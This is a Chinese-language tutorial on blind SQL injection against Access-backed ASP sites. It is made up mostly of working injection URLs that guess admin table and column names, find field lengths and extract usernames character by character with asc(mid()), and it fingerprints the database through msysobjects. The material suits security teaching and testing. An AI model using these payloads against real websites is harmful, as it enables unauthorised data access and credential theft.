ACCESS盲注:
一般用于没有回显位,无法直接回显数据库内容。
有两种语句方法:
第一种方法:
http://192.168.1.1/news.asp?id=155 order by 1 回显数据库错误,既不可用回显注入。
http://192.168.1.1/news.asp?id=155 and 1=1 返回正常
http://192.168.1.1/news.asp?id=155 and 1=2 返回错误
http://192.168.1.1/news.asp?id=155 and exists(select * from admin(猜的))返回正常既存在,报错既不存在
http://192.168.1.1/news.asp?id=155 and exists(select username from admin)如果admin存在的话,猜列名,username存在返回正常,不存在报错
http://192.168.1.1/news.asp?id=155 and (select top 1 len(username) from admin)=5猜username字段里面的内容长度为5
http://192.168.1.1/news.asp?id=155 and (select top 1 asc(mid(username,1,1)) from admin)=97获取username内容第一位字符的ascii码为97,以此类推,一直猜到第5位字符。
第二种方法:
http://192.168.1.1/news.asp?id=155 and (select count() from msysobjects)>0判断数据库是否为access,msysobjects为access系统表,在web下无权限访问,报错既表示为access数据库。
http://192.168.1.1/news.asp?id=155 and 0<>(select count() from admin),猜表名
http://192.168.1.1/news.asp?id=155 and 1=(select count(*) from admin where len(username)>0)猜列名
http://192.168.1.1/news.asp?id=155 and (select top 1 asc(mid(username,1,1)) from admin)=97
注:asc是将字符转为ascii码 mid是截取字符串,第一个参数是从哪开始,第二个参数是截取位数。

本文详细介绍了在没有回显的情况下进行Access数据库的SQL盲注技巧。包括两种方法:第一种通过order by、exists和mid等函数猜解数据库内容;第二种利用msysobjects系统表判断数据库类型,并进行表名和列名的探测。内容涵盖猜解长度、ASCII码及表的存在性判断等。
26万+





